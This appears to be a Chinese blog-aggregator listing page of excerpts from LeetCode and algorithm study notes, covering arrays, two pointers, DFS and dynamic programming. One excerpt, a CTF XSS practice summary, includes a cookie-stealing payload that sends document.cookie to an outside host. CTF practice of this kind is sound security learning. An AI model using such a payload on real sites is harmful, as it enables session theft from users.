LeeCode刷题总结

【LeeCode】283.移动零

给定一个数组nums，编写一个函数将所有0移动到数组的末尾，同时保持非零元素的相对顺序。请注意，必须在不复制数组的情况下原地对数组进行操作。解【做的有点呆，额外设置了计数器变量统计0的个数再从后往前赋0】：classSolution{  publicvoidmoveZeroes(int[]nums){    intslow=0;    intcount=0;    for(intfast=0;fa
LeeYotta·2023-11-26 05:54

【LeeCode】844.比较含退格的字符串

给定s和t两个字符串，当它们分别被输入到空白的文本编辑器后，如果两者相等，返回true。#代表退格字符。注意：如果对空文本输入退格字符，文本继续为空。解：同时从后向前遍历S和T（i初始为s末尾，j初始为t末尾），记录#的数量，模拟消除的操作，如果#用完了，就开始比较S[i]和S[j]。时间复杂度：O(n+m)空间复杂度：O(1)classSolution{  publicbooleanbacksp
LeeYotta·2023-11-26 05:54

删除有序数组中的重复项（Java）Leecode

解题思路：留意题目是升序数组，也就是有序的。要求原地删除，所有不能新建数组等操作。利用快慢指针的技巧。当fast指针发现不重复元素的时候，慢指针向前移动一步，并且把不重复的元素赋值给slow指针用于更新数组。再试一下链表的删除重复元素，原理一样83.删除排序链表中的重复元素publicintremoveDuplicates(int[]nums){if(nums.length==0){return0
Steven迪文·2023-11-26 05:23

leecode 删除有序数组中的重复项

leecode删除有序数组中的重复项问题给你一个有序数组nums，请你原地删除重复出现的元素，使每个元素只出现一次，返回删除后数组的新长度。
♚ 余温·2023-11-26 05:22

04 删除有序数组中的重复项（leecode 26）

1问题给你一个有序数组nums，请你原地删除重复出现的元素，使每个元素只出现一次，返回删除后数组的新长度。不要使用额外的数组空间，你必须在原地修改输入数组并在使用O(1)额外空间的条件下完成。示例1：输入：nums=[1,1,2]输出：2,nums=[1,2]解释：函数应该返回新的长度2，并且原数组nums的前两个元素被修改为1,2。不需要考虑数组中超出新长度后面的元素。示例2：输入：nums=[
aolaf·2023-11-26 05:52

LeeCode 26 删除有序数组中的重复项

题目给定一个排序数组，在原地删除重复出现的元素，使得每个元素只出现一次，返回移除后数组的新长度。解决方法双指针以数组[1,2,2,3]为例，使用双指针（slow指针与fast指针）两个指针首先同时指向第一个数当两个指针指向的数相同时。fast指针向前走一步当两个指针指向的数不相同时，slow指向向前走一步，将fast指针的值赋值给slow指针，然后fast指针向前走一步当fast’指针走完全部数后
好多的Bayes·2023-11-26 05:51

Leecode 26. 删除有序数组中的重复项

原题链接：Leecode26.删除有序数组中的重复项解法一：使用hash判断一个值是否出现过classSolution{public:intremoveDuplicates(vector&nums){intres
自信的小螺丝钉·2023-11-26 05:51

【Leecode】26. 删除有序数组中的重复项

题目：给你一个有序数组nums，请你原地删除重复出现的元素，使每个元素只出现一次，返回删除后数组的新长度。不要使用额外的数组空间，你必须在原地修改输入数组并在使用O(1)额外空间的条件下完成。说明:为什么返回数值是整数，但输出的答案是数组呢?请注意，输入数组是以「引用」方式传递的，这意味着在函数里修改输入数组对于调用者是可见的。你可以想象内部操作如下://nums是以“引用”方式传递的。也就是说，
小宇宙a·2023-11-26 05:51

leecode80. 删除有序数组中的重复项 II

80.删除有序数组中的重复项II这题使用双指针，判断是否超过两个相同的数。总体来说没完全做出来，做一半做不下去了，看了下评论一个同学的思想和我一样，但是代码太臃肿了，不过能解决问题。classSolution{publicintremoveDuplicates(int[]nums){intslow=0;intfast=1;intcount=0;while(fast
冒 菜·2023-11-26 05:48

Leecode刷题【1数组专题4】80. 删除排序数组中的重复项II （以及通用解法）

Leecode刷题【1数组专题4】80.删除排序数组中的重复项II（以及通用解法）题目：思路双指针法：（错误代码）正解：通用解法：题目：给你一个有序数组nums，请你原地删除重复出现的元素，使得出现次数超过两次的元素只出现两次
一只活蹦乱跳的大鲤鱼·2023-11-26 05:47

leecode 刷题笔记：26. 删除排序数组中的重复项

题目：26.删除有序数组中的重复项题目类型：有序数组去重使用技巧：双指针解题思路使用双指针技巧，即定义一个快指针fast，一个慢指针slowfast先走，判断fast当前指向的元素和slow指向的元素是否重复如果是，则slow不变，fast+1，即跳过当前元素指向下一个元素如果否，slow+1，然后和fast所指向的元素交换，然后fast+1使用循环进行判断，当fast大于等于数组长度时候结束严谨
张猿·2023-11-26 05:45

LeeCode_26. 删除有序数组中的重复项(双指针)

一、介绍1.题目描述题目链接：https://leetcode-cn.com/problems/remove-duplicates-from-sorted-array/给你一个有序数组nums，请你原地删除重复出现的元素，使每个元素只出现一次，返回删除后数组的新长度。不要使用额外的数组空间，你必须在原地修改输入数组并在使用O(1)额外空间的条件下完成。注意事项：原地删除输出为删除后元素个数nums
Netceor·2023-11-26 05:13

【LeeCode】26.删除有序数组中的重复项

给你一个非严格递增排列的数组nums，请你原地删除重复出现的元素，使每个元素只出现一次，返回删除后数组的新长度。元素的相对顺序应该保持一致。然后返回nums中唯一元素的个数。考虑nums的唯一元素的数量为k，你需要做以下事情确保你的题解可以被通过：更改数组nums，使nums的前k个元素包含唯一元素，并按照它们最初在nums中出现的顺序排列。nums的其余元素与nums的大小不重要。返回k。解【因
LeeYotta·2023-11-26 05:41

leecode | 数位和相等数对的最大和

题目的意思总是，一下子很难参透，但是又无懈可击，尤其是当自己又不太会总结简单讲一下，就是一个整数数组中，找一对数，这对数，数位和相等，这对数的值最大比如数组中有17和25==>4236和45==>81最后输出81//一看到这种题，想到的就是用哈希但如何用哈希很好的表示呢？//方法1.intmaximumSum(vector&nums){unordered_map>sumVec;for(autonu
ttxiaoxiaobai·2023-11-26 02:17

leecode | 最大子数组之和

题目的意思也很好理解，就是在一个给定的数组中，求得子数组之和最大如果这个数组中的元素都大于等于0，那么所求结果，子数组最大值便是所有元素累加，比较复杂的就是中间穿插负值解决中间有负值的思路，允许+负值，但是在tempSum这里要做一个判定，如果tempSum&nums){intans=0,tempSum=0;inti=0;while(i
ttxiaoxiaobai·2023-11-26 02:17

leecode |美化数组的最小删除个数

给你一个下标从0开始的整数数组nums，如果满足下述条件，则认为数组nums是一个美丽数组：nums.length为偶数对所有满足i%2==0的下标i，nums[i]!=nums[i+1]均成立注意，空数组同样认为是美丽数组。你可以从nums中删除任意数量的元素。当你删除一个元素时，被删除>元素右侧的所有元素将会向左移动一个单位以填补空缺，而左侧的元素>将会保持不变。返回使nums变为美丽数组所需
ttxiaoxiaobai·2023-11-26 02:17

leecode | HTML 解析器

提供一串字符串，根据给定的规则，去解析该字符串，并返回结果简而言之，就是根据指定的格式，替换内容HTML里这些特殊字符和它们对应的字符实体包括：双引号：字符实体为"，对应的字符是"。单引号：字符实体为’，对应的字符是’。与符号：字符实体为&，对应对的字符是&。大于号：字符实体为>，对应的字符是>。小于号：字符实体为解析后的结果。简单讲一下，思路，结合替换的原字符串的规律，第一个字符为&最后一个字符
ttxiaoxiaobai·2023-11-26 02:44

leecode算法题之数组

目录1.合并正序数组并求中位数1.题目剖析2.代码示例3.拓展思考2.盛最多水的容器1.题目剖析2.代码示例3.运行结果4.算法改进5.改进代码示例今天也没学什么新东西，那就给大家上两道力扣算法题叭。1.合并正序数组并求中位数这道题在之前的帖子中（指针第四卷）也提到过，但没有详细去讲，今天就详细讲一下这道题。1.题目剖析首先看这道题的题目，给定两个正序数组，并求出它们的中位数，再根据下方输入输出提
一枕眠秋雨>o<·2023-11-25 21:31

leecode岛屿问题总结DFS

关于岛屿问题的总结文章目录DFS的基本结构例题1：695.岛屿的最大面积例题2：200.岛屿的数量关于DFS的状态重置：(c++的右值和左值)例题3：填海造陆问题827.最大人工岛例题4：岛屿的周长与岛屿问题不同，DFS某一个节点时，需要考虑当前节点与相邻节点的关系二级指针与二维数组floodfillalgorithm这个算法是否与这个问题有关DFS的基本结构网格结构要比二叉树结构稍微复杂一些，它
ryontang·2023-11-25 11:59

最长回文子串 Golang leecode_5

先暴力packagemainimport("fmt")funclongestPalindrome(sstring)string{bytes:=[]byte(s)varcountintvarresstring=string(bytes[0])fori:=0;i-1;i--{res=append(res,bytes[i])}str:=string(res)ifstr==s{returntrue}els
不过是任思量·2023-11-24 06:23

基础算法(一)：枚举算法

文章目录前言1.基础概念及条件基础概念使用条件2.实例剖析——LeeCode829题目来源题目描述题解思路核心代码总结1.基础概念及条件基础概念枚举算法在实际应用中很多，几乎大部分的题目都
荔枝当大佬·2023-11-22 23:50

【数据结构与算法】Leecode刷题攻略

一、参考资料LeetCode热题HOT100LeetCode精选TOP面试题关于leetcode刷题详细介绍_智者之家-CSDN博客_leetcode刷题网站
后端研发Marion·2023-11-22 16:31

ctfshow XSS刷题总结

简介这次把爪牙伸到了xss嘿嘿嘿开始日咯！web316用xss平台怎么也爆不出。。。可能是姿势不对用最原始的方法吧在自己的服务器上写一个hack.phpdocument.location.href='http://wgm1yk1.nat.ipyingshe.com/x.php?1='+document.cookieweb317今天学习了一款xss自动扫描的工具XSStrike似乎很好用的呢直接跑出
b1ue0cean·2023-11-22 15:42

算法Day60 | 84.柱状图中最大的矩形，刷题总结

Day6084.柱状图中最大的矩形刷题总结84.柱状图中最大的矩形题目链接：84.柱状图中最大的矩形遍历每个元素，找到左右元素小于当前元素的，以左右元素间的区间（左开右开区间）所围成的面积中的最大值。
雨后的放线君·2023-11-22 05:26

2021秋招-算法-递归

算法-递归教程:⭐告别递归，谈谈我的一些经验LeetCode刷题总结-递归篇基础框架leetcode刷题1.leetcode-101.对称二叉树-简单101.对称二叉树给定一个二叉树，检查它是否是镜像对称的
LBJ_King2020·2023-11-22 05:42

2021秋招---leetcode-总结

leetcode树-他人总结LeetCode刷题总结-树篇（上）LeetCode刷题总结-树篇（中）leetCode刷题总结-树篇（下）递归-他人总结leetcode刷题总结之递归LeetCode刷题总结
LBJ_King2020·2023-11-22 05:37

leetcode之分治刷题总结1

leetcode之分治刷题总结11-多数元素题目链接：题目链接戳这里！！！思路1：因为多数元素就一个，直接升序排序，返回中间那个值，一定是升序元素。
nuist__NJUPT·2023-11-20 22:49

代码随想录LeetCode | 链表刷题总结II

前沿：撰写博客的目的是为了再刷时回顾和进一步完善，其次才是以教为学，所以如果有些博客写的较简陋，是为了保持进度不得已而为之，还请大家多多见谅。预：看到题目后的思路和实现的代码。见：参考答案展示。感思：对比答案后的思考，与之前做过的题目是否有关联。行：（1）对于没做出来的题目，阅读答案后重新做一遍；（2）下次做题可以尝试改善的方向；（3）有助于理解的相关的题目1.两两交换链表中的节点题目链接：24.
风吹衣ou·2023-11-20 19:25

Leecode 21 合并两个有序链表

Leecode21合并两个有序链表将两个升序链表合并为一个新的升序链表并返回。新链表是通过拼接给定的两个链表的所有节点组成的。
上电失败·2023-11-20 12:54

力扣刷题总结

文章目录1.位运算[260.只出现一次的数字III](https://leetcode-cn.com/problems/single-number-iii/)[面试题05.06.整数转换](https://leetcode-cn.com/problems/convert-integer-lcci/)2.二分查找[704.二分查找](https://leetcode-cn.com/problems/
程序员James·2023-11-20 00:42

LeeCode AutoX-4 计算几何

题意传送门LeeCodeAutoX-4蚂蚁爬行题解枚举每一对几何图形，判断相交性，用并查集维护连通性即可。
SHOHOKUKU·2023-11-19 16:14

Leecode: 7.整数反转

在刷Leecode，7.整数反转思路：将整数转为string后反转，再使用int()转回整数可以顺利提交代码，但是在其他人的思路中频频提及整数反转溢出问题。Python3中没有遇到这个问题。
树懒吃糖_·2023-11-19 02:36

Java刷题总结 —— 数组-二叉树篇

开个贴记录自己在刷leetcode时部分题目的思路，以及在编写时漏掉的一些代码细节，学习到的一些代码技巧~~一、数组1.二分法704主要用到了二分法进行查找，注意左右边界的选择（我选左闭右开），此外就是在求中间的下标时，定义intmiddle=left+(right-left)/2效果等同于(left+right)/2，但是用前者可以防止溢出，例如left和right都是最大int时，left+r
白天摸鱼玩耍夜晚添砖Java·2023-11-18 19:56

[力扣刷题总结](图,DFS和BFS篇)

文章目录~~~~~~~~~~~~图~~~~~~~~~~~~1034.边界着色解法1：DFS****图:有向无环图DAG****207.课程表解法1：拓扑排序（广度优先遍历）解法2：DFS210.课程表II解法1：BFS解法2：DFS851.喧闹和富有解法1：拓扑排序（BFS）解法2：DFS802.找到最终的安全状态解法1：拓扑排序（BFS）解法2：DFS797.所有可能的路径解法1：回溯+DAG7
姬霓钛美·2023-11-17 10:33

LeetCode刷题总结C++-数组篇（中）

LeetCode刷题总结C++-数组篇（中）本文接着上一篇文章《LeetCode刷题总结C++-数组篇(上)》，继续讲第二个常考问题：矩阵问题。矩阵也可以称为二维数组。
Pancy93·2023-11-15 15:07

LeetCode刷题总结C++-数组篇（上）

参考博客https://home.cnblogs.com/u/liuzhen1995/，题解换成C++LeetCode刷题总结-数组篇（上）数组是算法中最常用的一种数据结构，也是面试中最常考的考点。
Pancy93·2023-11-15 15:37

无重复字符的最长子串 Golang leecode_3

刚开始的思路，先不管效率，跑出来再说，然后再进行优化。然后就有了下面的暴力代码：funclengthOfLongestSubstring(sstring)int{//count用来记录当前最长子串长度varcountint//flag用来对下面两个if语句分流varflagint=0//for对字符串进行遍历fori:=0;ia{returnb}returna}funcmain(){vars="p
不过是任思量·2023-11-15 15:59

leecode 数据库：511. 游戏玩法分析 I

导入数据：CreatetableIfNotExistsActivity(player_idint,device_idint,event_datedate,games_playedint);TruncatetableActivity;insertintoActivity(player_id,device_id,event_date,games_played)values('1','2','2016-
小布先生~噫嘘唏·2023-11-15 01:37

Leetcode刷题总结：121. Best Time to Buy and Sell Stock

题目：Sayyouhaveanarrayforwhichtheithelementisthepriceofagivenstockondayi.Ifyouwereonlypermittedtocompleteatmostonetransaction(ie,buyoneandselloneshareofthestock),designanalgorithmtofindthemaximumprofit.
weixin_30906671·2023-11-14 19:54

代码随想录算法训练营第二十一天|530.二叉搜索树的最小绝对差 501.二叉搜索树中的众数 236. 二叉树的最近公共祖先

目录LeeCode530.二叉搜索树的最小绝对差LeeCode501.二叉搜索树中的众数LeeCode236.二叉树的最近公共祖先LeeCode530.二叉搜索树的最小绝对差530.二叉搜索树的最小绝对差
禹泽.·2023-11-13 19:47

二叉搜索树的最小绝对差（Java) Leecode

注意题目是二叉搜索树，其中序遍历会有序遍历二叉搜索树的节点，在计算过程中计算最小绝对值差即可。classSolution{publicintgetMinimumDifference(TreeNoderoot){traverse(root);returnres;}TreeNodeprev=null;intres=Integer.MAX_VALUE;//用来更新每个节点之间的绝对值差值voidtrav
Steven迪文·2023-11-12 22:34

LeetCode刷题总结——并查集

并查集并查集的引入并查集的核心思想是用集和中的一个元素来代表这个集和\textcolor{red}{用集和中的一个元素来代表这个集和}用集和中的一个元素来代表这个集和,相信大家肯定玩过球球大作战或者贪吃蛇大作战吧，为了方便理解，我们把这个集和比作为此刻你的蛇的总体，代表元素是蛇头，规则很简单，两个蛇如果相遇，则大蛇吃掉小蛇(不考虑蛇头撞到蛇身哈，只判断大小就好)，这时候，从并查集的角度理解，大蛇合
moon_清欢·2023-11-12 06:08

Leetcode刷题总结

leetcode刷题总结1-201、两数之和（1）空间换时间。（2）map类型的使用：maptable;key类似于vector中的下标。
hhhhge·2023-11-11 14:05

LeetCode刷题总结（一）

文章目录前言题型排序问题动态规划前言本文把刷题过程中的总结记下来，方便未来回顾的时候继续拓展。题型排序问题排序问题的解决方法有很多。对于简单算法来说，最重要的是记住思路；对于高级算法来说，最重要的是记住细节。简单的算法比如选择、冒泡、插入排序，他们的时间复杂度都是O(n2)O(n^2)O(n2)，所以就算是后面高级的排序算法需要用子排序算法时，我们也不会使用这种高时间复杂度的排序算法。对于这种算法
赛文忆莱文·2023-11-11 05:26

网页H5微信授权-scope不能为空-redirect_uri 域名与后配置不一致-写bug历险记

微信官方文档：微信官方文档-公众号-网页授权微信公众平台：微信公众平台微信开放平台：微信开放平台在线urleEcode编码/解码：在线urleEcode编码/解码scope不能为空因为配置回调地址时候，
SmileHan666·2023-11-10 02:08

代码随想录算法训练营第十三天|239.滑动窗口最大值 347.前 K 个高频元素

目录LeeCode239.滑动窗口最大值LeeCode347.前K个高频元素LeeCode239.滑动窗口最大值力扣题目链接思路：实现一个单调队列，保证队首元素始终为当前滑动窗口的最大值。
禹泽.·2023-11-08 17:28

LeetCode刷题总结-动态规划篇

LeetCode刷题总结-动态规划篇本文总结LeetCode上有动态规划的算法题，推荐刷题总数为54道。
阿彬在上路·2023-11-08 06:57

算法总结——单调栈

IPython版本三、下一个更大元素IIPython版本四、接雨水双指针解法动态规划解法单调栈解法Python双指针法五、柱状图中最大的矩形本文是在阅读微信公众号《代码随想录》后进行改写学习的一、每日温度leecode739
小成星际·2023-11-06 05:23

LeeCode每日一题：80. 删除有序数组中的重复项 II

给你一个有序数组nums，请你原地删除重复出现的元素，使得出现次数超过两次的元素只出现两次，返回删除后数组的新长度。不要使用额外的数组空间，你必须在原地修改输入数组并在使用O(1)额外空间的条件下完成。说明：为什么返回数值是整数，但输出的答案是数组呢？请注意，输入数组是以「引用」方式传递的，这意味着在函数里修改输入数组对于调用者是可见的。你可以想象内部操作如下://nums是以“引用”方式传递的。
Wabrush·2023-11-05 19:08

代码随想录算法训练营第十一天|20.有效的括号 1047. 删除字符串中的所有相邻重复项 150. 逆波兰表达式求值

目录LeeCode20.有效的括号LeeCode1047.删除字符串中的所有相邻重复项LeeCode150.逆波兰表达式求值LeeCode20.有效的括号力扣题目链接思路：利用栈先进后出的特性，将左括号对应的右括号存在栈中
禹泽.·2023-11-05 00:46
上一页 1 2 3 4 5 6 7 8 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他